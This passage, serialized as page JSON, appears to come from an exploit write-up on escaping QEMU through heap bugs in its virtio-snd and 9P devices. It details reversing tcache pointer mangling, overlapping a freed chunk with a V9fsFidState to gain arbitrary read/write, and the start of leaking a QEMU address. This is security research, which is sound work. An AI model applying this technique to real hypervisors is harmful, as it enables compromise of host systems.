",{"type":24,"tag":32,"props":131262,"children":131264},{"className":131263},[],[131265],{"type":29,"value":131175},{"type":29,"value":131267}," and recover the exact address of ",{"type":24,"tag":32,"props":131269,"children":131271},{"className":131270},[],[131272],{"type":29,"value":59390},{"type":29,"value":131274}," by reversing the XOR:",{"type":24,"tag":80,"props":131276,"children":131278},{"code":131277},"next = fd ^ (curr >> 12)\n",[131279],{"type":24,"tag":32,"props":131280,"children":131281},{"__ignoreMap":7},[131282],{"type":29,"value":131277},{"type":24,"tag":25,"props":131284,"children":131285},{},[131286],{"type":29,"value":131287},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":1019,"props":131289,"children":131291},{"id":131290},"arbitrary-read-and-write",[131292],{"type":29,"value":131293},"Arbitrary Read and Write",{"type":24,"tag":25,"props":131295,"children":131296},{},[131297,131299,131304],{"type":29,"value":131298},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":32,"props":131300,"children":131302},{"className":131301},[],[131303],{"type":29,"value":131175},{"type":29,"value":131305}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":131307,"children":131308},{},[131309,131311,131316],{"type":29,"value":131310},"Recall ",{"type":24,"tag":32,"props":131312,"children":131314},{"className":131313},[],[131315],{"type":29,"value":129779},{"type":29,"value":78},{"type":24,"tag":80,"props":131318,"children":131320},{"code":131319,"language":3030,"meta":7,"className":3028,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[131321],{"type":24,"tag":32,"props":131322,"children":131323},{"__ignoreMap":7},[131324,131363,131370,131381,131396,131411,131418,131425,131432,131454,131461,131468,131475,131483,131500,131539,131582,131589],{"type":24,"tag":90,"props":131325,"children":131326},{"class":92,"line":93},[131327,131331,131335,131339,131343,131347,131351,131355,131359],{"type":24,"tag":90,"props":131328,"children":131329},{"style":97},[131330],{"type":29,"value":52868},{"type":24,"tag":90,"props":131332,"children":131333},{"style":97},[131334],{"type":29,"value":52873},{"type":24,"tag":90,"props":131336,"children":131337},{"style":114},[131338],{"type":29,"value":129774},{"type":24,"tag":90,"props":131340,"children":131341},{"style":108},[131342],{"type":29,"value":129779},{"type":24,"tag":90,"props":131344,"children":131345},{"style":114},[131346],{"type":29,"value":117},{"type":24,"tag":90,"props":131348,"children":131349},{"style":97},[131350],{"type":29,"value":53451},{"type":24,"tag":90,"props":131352,"children":131353},{"style":120},[131354],{"type":29,"value":366},{"type":24,"tag":90,"props":131356,"children":131357},{"style":136},[131358],{"type":29,"value":129796},{"type":24,"tag":90,"props":131360,"children":131361},{"style":114},[131362],{"type":29,"value":1686},{"type":24,"tag":90,"props":131364,"children":131365},{"class":92,"line":200},[131366],{"type":24,"tag":90,"props":131367,"children":131368},{"style":114},[131369],{"type":29,"value":2221},{"type":24,"tag":90,"props":131371,"children":131372},{"class":92,"line":239},[131373,131377],{"type":24,"tag":90,"props":131374,"children":131375},{"style":97},[131376],{"type":29,"value":57437},{"type":24,"tag":90,"props":131378,"children":131379},{"style":114},[131380],{"type":29,"value":126432},{"type":24,"tag":90,"props":131382,"children":131383},{"class":92,"line":248},[131384,131388,131392],{"type":24,"tag":90,"props":131385,"children":131386},{"style":114},[131387],{"type":29,"value":129921},{"type":24,"tag":90,"props":131389,"children":131390},{"style":120},[131391],{"type":29,"value":983},{"type":24,"tag":90,"props":131393,"children":131394},{"style":114},[131395],{"type":29,"value":129930},{"type":24,"tag":90,"props":131397,"children":131398},{"class":92,"line":258},[131399,131403,131407],{"type":24,"tag":90,"props":131400,"children":131401},{"style":114},[131402],{"type":29,"value":129921},{"type":24,"tag":90,"props":131404,"children":131405},{"style":120},[131406],{"type":29,"value":983},{"type":24,"tag":90,"props":131408,"children":131409},{"style":114},[131410],{"type":29,"value":129946},{"type":24,"tag":90,"props":131412,"children":131413},{"class":92,"line":272},[131414],{"type":24,"tag":90,"props":131415,"children":131416},{"emptyLinePlaceholder":16},[131417],{"type":29,"value":245},{"type":24,"tag":90,"props":131419,"children":131420},{"class":92,"line":281},[131421],{"type":24,"tag":90,"props":131422,"children":131423},{"style":114},[131424],{"type":29,"value":106631},{"type":24,"tag":90,"props":131426,"children":131427},{"class":92,"line":384},[131428],{"type":24,"tag":90,"props":131429,"children":131430},{"emptyLinePlaceholder":16},[131431],{"type":29,"value":245},{"type":24,"tag":90,"props":131433,"children":131434},{"class":92,"line":420},[131435,131440,131444,131449],{"type":24,"tag":90,"props":131436,"children":131437},{"style":114},[131438],{"type":29,"value":131439}," file_fidp ",{"type":24,"tag":90,"props":131441,"children":131442},{"style":120},[131443],{"type":29,"value":5491},{"type":24,"tag":90,"props":131445,"children":131446},{"style":108},[131447],{"type":29,"value":131448}," get_fid",{"type":24,"tag":90,"props":131450,"children":131451},{"style":114},[131452],{"type":29,"value":131453},"(pdu, fid);\n",{"type":24,"tag":90,"props":131455,"children":131456},{"class":92,"line":428},[131457],{"type":24,"tag":90,"props":131458,"children":131459},{"emptyLinePlaceholder":16},[131460],{"type":29,"value":245},{"type":24,"tag":90,"props":131462,"children":131463},{"class":92,"line":437},[131464],{"type":24,"tag":90,"props":131465,"children":131466},{"style":114},[131467],{"type":29,"value":106631},{"type":24,"tag":90,"props":131469,"children":131470},{"class":92,"line":574},[131471],{"type":24,"tag":90,"props":131472,"children":131473},{"emptyLinePlaceholder":16},[131474],{"type":29,"value":245},{"type":24,"tag":90,"props":131476,"children":131477},{"class":92,"line":606},[131478],{"type":24,"tag":90,"props":131479,"children":131480},{"style":252},[131481],{"type":29,"value":131482}," /* Make the file fid point to xattr */\n",{"type":24,"tag":90,"props":131484,"children":131485},{"class":92,"line":615},[131486,131491,131495],{"type":24,"tag":90,"props":131487,"children":131488},{"style":114},[131489],{"type":29,"value":131490}," xattr_fidp ",{"type":24,"tag":90,"props":131492,"children":131493},{"style":120},[131494],{"type":29,"value":5491},{"type":24,"tag":90,"props":131496,"children":131497},{"style":114},[131498],{"type":29,"value":131499}," file_fidp;\n",{"type":24,"tag":90,"props":131501,"children":131502},{"class":92,"line":623},[131503,131507,131511,131515,131519,131523,131527,131531,131535],{"type":24,"tag":90,"props":131504,"children":131505},{"style":136},[131506],{"type":29,"value":130324},{"type":24,"tag":90,"props":131508,"children":131509},{"style":114},[131510],{"type":29,"value":177},{"type":24,"tag":90,"props":131512,"children":131513},{"style":136},[131514],{"type":29,"value":38798},{"type":24,"tag":90,"props":131516,"children":131517},{"style":114},[131518],{"type":29,"value":226},{"type":24,"tag":90,"props":131520,"children":131521},{"style":136},[131522],{"type":29,"value":130248},{"type":24,"tag":90,"props":131524,"children":131525},{"style":114},[131526],{"type":29,"value":226},{"type":24,"tag":90,"props":131528,"children":131529},{"style":136},[131530],{"type":29,"value":11513},{"type":24,"tag":90,"props":131532,"children":131533},{"style":120},[131534],{"type":29,"value":216},{"type":24,"tag":90,"props":131536,"children":131537},{"style":114},[131538],{"type":29,"value":126432},{"type":24,"tag":90,"props":131540,"children":131541},{"class":92,"line":632},[131542,131546,131550,131554,131558,131562,131566,131570,131574,131578],{"type":24,"tag":90,"props":131543,"children":131544},{"style":136},[131545],{"type":29,"value":130324},{"type":24,"tag":90,"props":131547,"children":131548},{"style":114},[131549],{"type":29,"value":177},{"type":24,"tag":90,"props":131551,"children":131552},{"style":136},[131553],{"type":29,"value":38798},{"type":24,"tag":90,"props":131555,"children":131556},{"style":114},[131557],{"type":29,"value":226},{"type":24,"tag":90,"props":131559,"children":131560},{"style":136},[131561],{"type":29,"value":130248},{"type":24,"tag":90,"props":131563,"children":131564},{"style":114},[131565],{"type":29,"value":226},{"type":24,"tag":90,"props":131567,"children":131568},{"style":136},[131569],{"type":29,"value":40968},{"type":24,"tag":90,"props":131571,"children":131572},{"style":120},[131573],{"type":29,"value":216},{"type":24,"tag":90,"props":131575,"children":131576},{"style":108},[131577],{"type":29,"value":126003},{"type":24,"tag":90,"props":131579,"children":131580},{"style":114},[131581],{"type":29,"value":130361},{"type":24,"tag":90,"props":131583,"children":131584},{"class":92,"line":669},[131585],{"type":24,"tag":90,"props":131586,"children":131587},{"emptyLinePlaceholder":16},[131588],{"type":29,"value":245},{"type":24,"tag":90,"props":131590,"children":131591},{"class":92,"line":683},[131592],{"type":24,"tag":90,"props":131593,"children":131594},{"style":114},[131595],{"type":29,"value":106631},{"type":24,"tag":25,"props":131597,"children":131598},{},[131599,131601,131607,131609,131614,131615,131620,131622,131627,131629,131635,131636,131642,131644,131649,131650,131655],{"type":29,"value":131600},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":32,"props":131602,"children":131604},{"className":131603},[],[131605],{"type":29,"value":131606},"V9fsFidState",{"type":29,"value":131608}," object. In other words, if we can place a ",{"type":24,"tag":32,"props":131610,"children":131612},{"className":131611},[],[131613],{"type":29,"value":131606},{"type":29,"value":9703},{"type":24,"tag":32,"props":131616,"children":131618},{"className":131617},[],[131619],{"type":29,"value":131175},{"type":29,"value":131621}," currently sits, the overlapping ",{"type":24,"tag":32,"props":131623,"children":131625},{"className":131624},[],[131626],{"type":29,"value":131183},{"type":29,"value":131628}," chunk can overwrite ",{"type":24,"tag":32,"props":131630,"children":131632},{"className":131631},[],[131633],{"type":29,"value":131634},"V9fsFidState.fs.xattr.value",{"type":29,"value":13360},{"type":24,"tag":32,"props":131637,"children":131639},{"className":131638},[],[131640],{"type":29,"value":131641},"V9fsFidState.fs.xattr.len",{"type":29,"value":131643},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":32,"props":131645,"children":131647},{"className":131646},[],[131648],{"type":29,"value":130437},{"type":29,"value":13360},{"type":24,"tag":32,"props":131651,"children":131653},{"className":131652},[],[131654],{"type":29,"value":130429},{"type":29,"value":226},{"type":24,"tag":25,"props":131657,"children":131658},{},[131659,131661,131666,131667,131672,131674,131679,131681,131687,131689,131694,131696,131701,131703,131708,131710,131715,131717,131722],{"type":29,"value":131660},"At this point, ",{"type":24,"tag":32,"props":131662,"children":131664},{"className":131663},[],[131665],{"type":29,"value":131175},{"type":29,"value":1947},{"type":24,"tag":32,"props":131668,"children":131670},{"className":131669},[],[131671],{"type":29,"value":129644},{"type":29,"value":131673}," chunk, while ",{"type":24,"tag":32,"props":131675,"children":131677},{"className":131676},[],[131678],{"type":29,"value":131606},{"type":29,"value":131680}," falls into the ",{"type":24,"tag":32,"props":131682,"children":131684},{"className":131683},[],[131685],{"type":29,"value":131686},"0x120",{"type":29,"value":131688}," size class. Before freeing ",{"type":24,"tag":32,"props":131690,"children":131692},{"className":131691},[],[131693],{"type":29,"value":131175},{"type":29,"value":131695},", we therefore use the oversized ",{"type":24,"tag":32,"props":131697,"children":131699},{"className":131698},[],[131700],{"type":29,"value":131183},{"type":29,"value":131702}," chunk to change its size to match ",{"type":24,"tag":32,"props":131704,"children":131706},{"className":131705},[],[131707],{"type":29,"value":131606},{"type":29,"value":131709},". Once ",{"type":24,"tag":32,"props":131711,"children":131713},{"className":131712},[],[131714],{"type":29,"value":131175},{"type":29,"value":131716}," is freed, it is inserted into the ",{"type":24,"tag":32,"props":131718,"children":131720},{"className":131719},[],[131721],{"type":29,"value":131686},{"type":29,"value":131723}," tcache bin.",{"type":24,"tag":80,"props":131725,"children":131727},{"code":131726}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[131728],{"type":24,"tag":32,"props":131729,"children":131730},{"__ignoreMap":7},[131731],{"type":29,"value":131726},{"type":24,"tag":25,"props":131733,"children":131734},{},[131735,131737,131742,131744,131750,131752,131758,131760,131765],{"type":29,"value":131736},"After that, we can simply allocate a new ",{"type":24,"tag":32,"props":131738,"children":131740},{"className":131739},[],[131741],{"type":29,"value":131606},{"type":29,"value":131743}," with a ",{"type":24,"tag":32,"props":131745,"children":131747},{"className":131746},[],[131748],{"type":29,"value":131749},"P9_TWALK",{"type":29,"value":131751}," request and a fresh FID - this reaches ",{"type":24,"tag":32,"props":131753,"children":131755},{"className":131754},[],[131756],{"type":29,"value":131757},"alloc_fid",{"type":29,"value":131759},", which allocates a new ",{"type":24,"tag":32,"props":131761,"children":131763},{"className":131762},[],[131764],{"type":29,"value":131606},{"type":29,"value":78},{"type":24,"tag":80,"props":131767,"children":131769},{"code":131768,"language":3030,"meta":7,"className":3028,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[131770],{"type":24,"tag":32,"props":131771,"children":131772},{"__ignoreMap":7},[131773,131813,131820,131836,131864,131871,131878,131885,131906,131913,131928,131950,131974,131995,132006,132013,132051,132093,132100,132107,132114,132121,132128,132179,132186,132201,132208,132256,132268,132276,132305,132320,132327,132356,132363],{"type":24,"tag":90,"props":131774,"children":131775},{"class":92,"line":93},[131776,131780,131784,131788,131793,131797,131801,131805,131809],{"type":24,"tag":90,"props":131777,"children":131778},{"style":97},[131779],{"type":29,"value":52868},{"type":24,"tag":90,"props":131781,"children":131782},{"style":97},[131783],{"type":29,"value":52873},{"type":24,"tag":90,"props":131785,"children":131786},{"style":114},[131787],{"type":29,"value":129774},{"type":24,"tag":90,"props":131789,"children":131790},{"style":108},[131791],{"type":29,"value":131792},"v9fs_walk",{"type":24,"tag":90,"props":131794,"children":131795},{"style":114},[131796],{"type":29,"value":117},{"type":24,"tag":90,"props":131798,"children":131799},{"style":97},[131800],{"type":29,"value":53451},{"type":24,"tag":90,"props":131802,"children":131803},{"style":120},[131804],{"type":29,"value":366},{"type":24,"tag":90,"props":131806,"children":131807},{"style":136},[131808],{"type":29,"value":129796},{"type":24,"tag":90,"props":131810,"children":131811},{"style":114},[131812],{"type":29,"value":1686},{"type":24,"tag":90,"props":131814,"children":131815},{"class":92,"line":200},[131816],{"type":24,"tag":90,"props":131817,"children":131818},{"style":114},[131819],{"type":29,"value":2221},{"type":24,"tag":90,"props":131821,"children":131822},{"class":92,"line":239},[131823,131827,131831],{"type":24,"tag":90,"props":131824,"children":131825},{"style":114},[131826],{"type":29,"value":129921},{"type":24,"tag":90,"props":131828,"children":131829},{"style":120},[131830],{"type":29,"value":983},{"type":24,"tag":90,"props":131832,"children":131833},{"style":114},[131834],{"type":29,"value":131835},"fidp;\n",{"type":24,"tag":90,"props":131837,"children":131838},{"class":92,"line":248},[131839,131843,131847,131852,131856,131860],{"type":24,"tag":90,"props":131840,"children":131841},{"style":114},[131842],{"type":29,"value":129921},{"type":24,"tag":90,"props":131844,"children":131845},{"style":120},[131846],{"type":29,"value":983},{"type":24,"tag":90,"props":131848,"children":131849},{"style":114},[131850],{"type":29,"value":131851},"newfidp ",{"type":24,"tag":90,"props":131853,"children":131854},{"style":120},[131855],{"type":29,"value":5491},{"type":24,"tag":90,"props":131857,"children":131858},{"style":97},[131859],{"type":29,"value":129600},{"type":24,"tag":90,"props":131861,"children":131862},{"style":114},[131863],{"type":29,"value":381},{"type":24,"tag":90,"props":131865,"children":131866},{"class":92,"line":258},[131867],{"type":24,"tag":90,"props":131868,"children":131869},{"emptyLinePlaceholder":16},[131870],{"type":29,"value":245},{"type":24,"tag":90,"props":131872,"children":131873},{"class":92,"line":272},[131874],{"type":24,"tag":90,"props":131875,"children":131876},{"style":114},[131877],{"type":29,"value":106631},{"type":24,"tag":90,"props":131879,"children":131880},{"class":92,"line":281},[131881],{"type":24,"tag":90,"props":131882,"children":131883},{"emptyLinePlaceholder":16},[131884],{"type":29,"value":245},{"type":24,"tag":90,"props":131886,"children":131887},{"class":92,"line":384},[131888,131892,131897,131901],{"type":24,"tag":90,"props":131889,"children":131890},{"style":636},[131891],{"type":29,"value":639},{"type":24,"tag":90,"props":131893,"children":131894},{"style":114},[131895],{"type":29,"value":131896}," (fid ",{"type":24,"tag":90,"props":131898,"children":131899},{"style":120},[131900],{"type":29,"value":10951},{"type":24,"tag":90,"props":131902,"children":131903},{"style":114},[131904],{"type":29,"value":131905}," newfid) {\n",{"type":24,"tag":90,"props":131907,"children":131908},{"class":92,"line":420},[131909],{"type":24,"tag":90,"props":131910,"children":131911},{"style":114},[131912],{"type":29,"value":125869},{"type":24,"tag":90,"props":131914,"children":131915},{"class":92,"line":428},[131916,131920,131924],{"type":24,"tag":90,"props":131917,"children":131918},{"style":114},[131919],{"type":29,"value":2288},{"type":24,"tag":90,"props":131921,"children":131922},{"style":636},[131923],{"type":29,"value":2293},{"type":24,"tag":90,"props":131925,"children":131926},{"style":114},[131927],{"type":29,"value":269},{"type":24,"tag":90,"props":131929,"children":131930},{"class":92,"line":437},[131931,131936,131940,131945],{"type":24,"tag":90,"props":131932,"children":131933},{"style":114},[131934],{"type":29,"value":131935}," newfidp ",{"type":24,"tag":90,"props":131937,"children":131938},{"style":120},[131939],{"type":29,"value":5491},{"type":24,"tag":90,"props":131941,"children":131942},{"style":108},[131943],{"type":29,"value":131944}," alloc_fid",{"type":24,"tag":90,"props":131946,"children":131947},{"style":114},[131948],{"type":29,"value":131949},"(s, newfid);\n",{"type":24,"tag":90,"props":131951,"children":131952},{"class":92,"line":574},[131953,131957,131962,131966,131970],{"type":24,"tag":90,"props":131954,"children":131955},{"style":636},[131956],{"type":29,"value":5667},{"type":24,"tag":90,"props":131958,"children":131959},{"style":114},[131960],{"type":29,"value":131961}," (newfidp ",{"type":24,"tag":90,"props":131963,"children":131964},{"style":120},[131965],{"type":29,"value":10951},{"type":24,"tag":90,"props":131967,"children":131968},{"style":97},[131969],{"type":29,"value":129600},{"type":24,"tag":90,"props":131971,"children":131972},{"style":114},[131973],{"type":29,"value":1297},{"type":24,"tag":90,"props":131975,"children":131976},{"class":92,"line":606},[131977,131982,131986,131990],{"type":24,"tag":90,"props":131978,"children":131979},{"style":114},[131980],{"type":29,"value":131981}," err ",{"type":24,"tag":90,"props":131983,"children":131984},{"style":120},[131985],{"type":29,"value":5491},{"type":24,"tag":90,"props":131987,"children":131988},{"style":120},[131989],{"type":29,"value":53079},{"type":24,"tag":90,"props":131991,"children":131992},{"style":114},[131993],{"type":29,"value":131994},"EINVAL;\n",{"type":24,"tag":90,"props":131996,"children":131997},{"class":92,"line":615},[131998,132002],{"type":24,"tag":90,"props":131999,"children":132000},{"style":636},[132001],{"type":29,"value":62375},{"type":24,"tag":90,"props":132003,"children":132004},{"style":114},[132005],{"type":29,"value":62380},{"type":24,"tag":90,"props":132007,"children":132008},{"class":92,"line":623},[132009],{"type":24,"tag":90,"props":132010,"children":132011},{"style":114},[132012],{"type":29,"value":5740},{"type":24,"tag":90,"props":132014,"children":132015},{"class":92,"line":632},[132016,132021,132025,132030,132034,132039,132043,132047],{"type":24,"tag":90,"props":132017,"children":132018},{"style":136},[132019],{"type":29,"value":132020}," newfidp",{"type":24,"tag":90,"props":132022,"children":132023},{"style":114},[132024],{"type":29,"value":177},{"type":24,"tag":90,"props":132026,"children":132027},{"style":136},[132028],{"type":29,"value":132029},"uid",{"type":24,"tag":90,"props":132031,"children":132032},{"style":120},[132033],{"type":29,"value":216},{"type":24,"tag":90,"props":132035,"children":132036},{"style":136},[132037],{"type":29,"value":132038}," fidp",{"type":24,"tag":90,"props":132040,"children":132041},{"style":114},[132042],{"type":29,"value":177},{"type":24,"tag":90,"props":132044,"children":132045},{"style":136},[132046],{"type":29,"value":132029},{"type":24,"tag":90,"props":132048,"children":132049},{"style":114},[132050],{"type":29,"value":381},{"type":24,"tag":90,"props":132052,"children":132053},{"class":92,"line":669},[132054,132059,132063,132067,132072,132076,132080,132084,132088],{"type":24,"tag":90,"props":132055,"children":132056},{"style":108},[132057],{"type":29,"value":132058}," v9fs_path_copy",{"type":24,"tag":90,"props":132060,"children":132061},{"style":114},[132062],{"type":29,"value":117},{"type":24,"tag":90,"props":132064,"children":132065},{"style":120},[132066],{"type":29,"value":123},{"type":24,"tag":90,"props":132068,"children":132069},{"style":136},[132070],{"type":29,"value":132071},"newfidp",{"type":24,"tag":90,"props":132073,"children":132074},{"style":114},[132075],{"type":29,"value":177},{"type":24,"tag":90,"props":132077,"children":132078},{"style":136},[132079],{"type":29,"value":114154},{"type":24,"tag":90,"props":132081,"children":132082},{"style":114},[132083],{"type":29,"value":133},{"type":24,"tag":90,"props":132085,"children":132086},{"style":120},[132087],{"type":29,"value":123},{"type":24,"tag":90,"props":132089,"children":132090},{"style":114},[132091],{"type":29,"value":132092},"path);\n",{"type":24,"tag":90,"props":132094,"children":132095},{"class":92,"line":683},[132096],{"type":24,"tag":90,"props":132097,"children":132098},{"style":114},[132099],{"type":29,"value":612},{"type":24,"tag":90,"props":132101,"children":132102},{"class":92,"line":737},[132103],{"type":24,"tag":90,"props":132104,"children":132105},{"emptyLinePlaceholder":16},[132106],{"type":29,"value":245},{"type":24,"tag":90,"props":132108,"children":132109},{"class":92,"line":751},[132110],{"type":24,"tag":90,"props":132111,"children":132112},{"style":114},[132113],{"type":29,"value":106631},{"type":24,"tag":90,"props":132115,"children":132116},{"class":92,"line":782},[132117],{"type":24,"tag":90,"props":132118,"children":132119},{"style":114},[132120],{"type":29,"value":827},{"type":24,"tag":90,"props":132122,"children":132123},{"class":92,"line":791},[132124],{"type":24,"tag":90,"props":132125,"children":132126},{"emptyLinePlaceholder":16},[132127],{"type":29,"value":245},{"type":24,"tag":90,"props":132129,"children":132130},{"class":92,"line":799},[132131,132135,132140,132144,132148,132153,132157,132161,132165,132170,132175],{"type":24,"tag":90,"props":132132,"children":132133},{"style":97},[132134],{"type":29,"value":52868},{"type":24,"tag":90,"props":132136,"children":132137},{"style":114},[132138],{"type":29,"value":132139}," V9fsFidState ",{"type":24,"tag":90,"props":132141,"children":132142},{"style":120},[132143],{"type":29,"value":983},{"type":24,"tag":90,"props":132145,"children":132146},{"style":108},[132147],{"type":29,"value":131757},{"type":24,"tag":90,"props":132149,"children":132150},{"style":114},[132151],{"type":29,"value":132152},"(V9fsState ",{"type":24,"tag":90,"props":132154,"children":132155},{"style":120},[132156],{"type":29,"value":983},{"type":24,"tag":90,"props":132158,"children":132159},{"style":136},[132160],{"type":29,"value":13020},{"type":24,"tag":90,"props":132162,"children":132163},{"style":114},[132164],{"type":29,"value":133},{"type":24,"tag":90,"props":132166,"children":132167},{"style":97},[132168],{"type":29,"value":132169},"int32_t",{"type":24,"tag":90,"props":132171,"children":132172},{"style":136},[132173],{"type":29,"value":132174}," fid",{"type":24,"tag":90,"props":132176,"children":132177},{"style":114},[132178],{"type":29,"value":1686},{"type":24,"tag":90,"props":132180,"children":132181},{"class":92,"line":807},[132182],{"type":24,"tag":90,"props":132183,"children":132184},{"style":114},[132185],{"type":29,"value":2221},{"type":24,"tag":90,"props":132187,"children":132188},{"class":92,"line":821},[132189,132193,132197],{"type":24,"tag":90,"props":132190,"children":132191},{"style":114},[132192],{"type":29,"value":129921},{"type":24,"tag":90,"props":132194,"children":132195},{"style":120},[132196],{"type":29,"value":983},{"type":24,"tag":90,"props":132198,"children":132199},{"style":114},[132200],{"type":29,"value":52989},{"type":24,"tag":90,"props":132202,"children":132203},{"class":92,"line":6278},[132204],{"type":24,"tag":90,"props":132205,"children":132206},{"emptyLinePlaceholder":16},[132207],{"type":29,"value":245},{"type":24,"tag":90,"props":132209,"children":132210},{"class":92,"line":11420},[132211,132216,132220,132225,132229,132233,132237,132242,132246,132251],{"type":24,"tag":90,"props":132212,"children":132213},{"style":114},[132214],{"type":29,"value":132215}," f ",{"type":24,"tag":90,"props":132217,"children":132218},{"style":120},[132219],{"type":29,"value":5491},{"type":24,"tag":90,"props":132221,"children":132222},{"style":108},[132223],{"type":29,"value":132224}," g_hash_table_lookup",{"type":24,"tag":90,"props":132226,"children":132227},{"style":114},[132228],{"type":29,"value":117},{"type":24,"tag":90,"props":132230,"children":132231},{"style":136},[132232],{"type":29,"value":13020},{"type":24,"tag":90,"props":132234,"children":132235},{"style":114},[132236],{"type":29,"value":177},{"type":24,"tag":90,"props":132238,"children":132239},{"style":136},[132240],{"type":29,"value":132241},"fids",{"type":24,"tag":90,"props":132243,"children":132244},{"style":114},[132245],{"type":29,"value":133},{"type":24,"tag":90,"props":132247,"children":132248},{"style":108},[132249],{"type":29,"value":132250},"GINT_TO_POINTER",{"type":24,"tag":90,"props":132252,"children":132253},{"style":114},[132254],{"type":29,"value":132255},"(fid));\n",{"type":24,"tag":90,"props":132257,"children":132258},{"class":92,"line":11438},[132259,132263],{"type":24,"tag":90,"props":132260,"children":132261},{"style":636},[132262],{"type":29,"value":639},{"type":24,"tag":90,"props":132264,"children":132265},{"style":114},[132266],{"type":29,"value":132267}," (f) {\n",{"type":24,"tag":90,"props":132269,"children":132270},{"class":92,"line":11483},[132271],{"type":24,"tag":90,"props":132272,"children":132273},{"style":252},[132274],{"type":29,"value":132275}," /* If fid is already there return NULL */\n",{"type":24,"tag":90,"props":132277,"children":132278},{"class":92,"line":11589},[132279,132284,132288,132292,132296,132301],{"type":24,"tag":90,"props":132280,"children":132281},{"style":108},[132282],{"type":29,"value":132283}," BUG_ON",{"type":24,"tag":90,"props":132285,"children":132286},{"style":114},[132287],{"type":29,"value":117},{"type":24,"tag":90,"props":132289,"children":132290},{"style":136},[132291],{"type":29,"value":34899},{"type":24,"tag":90,"props":132293,"children":132294},{"style":114},[132295],{"type":29,"value":177},{"type":24,"tag":90,"props":132297,"children":132298},{"style":136},[132299],{"type":29,"value":132300},"clunked",{"type":24,"tag":90,"props":132302,"children":132303},{"style":114},[132304],{"type":29,"value":571},{"type":24,"tag":90,"props":132306,"children":132307},{"class":92,"line":25306},[132308,132312,132316],{"type":24,"tag":90,"props":132309,"children":132310},{"style":636},[132311],{"type":29,"value":2253},{"type":24,"tag":90,"props":132313,"children":132314},{"style":97},[132315],{"type":29,"value":129600},{"type":24,"tag":90,"props":132317,"children":132318},{"style":114},[132319],{"type":29,"value":381},{"type":24,"tag":90,"props":132321,"children":132322},{"class":92,"line":25341},[132323],{"type":24,"tag":90,"props":132324,"children":132325},{"style":114},[132326],{"type":29,"value":612},{"type":24,"tag":90,"props":132328,"children":132329},{"class":92,"line":25349},[132330,132334,132338,132343,132348,132352],{"type":24,"tag":90,"props":132331,"children":132332},{"style":114},[132333],{"type":29,"value":132215},{"type":24,"tag":90,"props":132335,"children":132336},{"style":120},[132337],{"type":29,"value":5491},{"type":24,"tag":90,"props":132339,"children":132340},{"style":108},[132341],{"type":29,"value":132342}," g_new0",{"type":24,"tag":90,"props":132344,"children":132345},{"style":114},[132346],{"type":29,"value":132347},"(V9fsFidState, ",{"type":24,"tag":90,"props":132349,"children":132350},{"style":349},[132351],{"type":29,"value":534},{"type":24,"tag":90,"props":132353,"children":132354},{"style":114},[132355],{"type":29,"value":571},{"type":24,"tag":90,"props":132357,"children":132358},{"class":92,"line":25357},[132359],{"type":24,"tag":90,"props":132360,"children":132361},{"emptyLinePlaceholder":16},[132362],{"type":29,"value":245},{"type":24,"tag":90,"props":132364,"children":132365},{"class":92,"line":25366},[132366],{"type":24,"tag":90,"props":132367,"children":132368},{"style":114},[132369],{"type":29,"value":106631},{"type":24,"tag":25,"props":132371,"children":132372},{},[132373,132375,132380],{"type":29,"value":132374},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":32,"props":132376,"children":132378},{"className":132377},[],[132379],{"type":29,"value":131175},{"type":29,"value":130512},{"type":24,"tag":80,"props":132382,"children":132384},{"code":132383}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[132385],{"type":24,"tag":32,"props":132386,"children":132387},{"__ignoreMap":7},[132388],{"type":29,"value":132383},{"type":24,"tag":20686,"props":132390,"children":132392},{"id":132391},"leaking-a-qemu-address",[132393],{"type":29,"value":132394},"Leaking a QEMU Address",{"type":24,"tag":25,"props":132396,"children":132397},{},[132398],{"type":29,"value":132399},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":132401,"children":132402},{},[132403,132405,132410],{"type":29,"value":132404},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":32,"props":132406,"children":132408},{"className":132407},[],[132409],{"type":29,"value":125595},{"type":29,"value":78},{"type":24,"tag":80,"props":132412,"children":132414},{"code":132413,"language":3030,"meta":7,"className":3028,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n 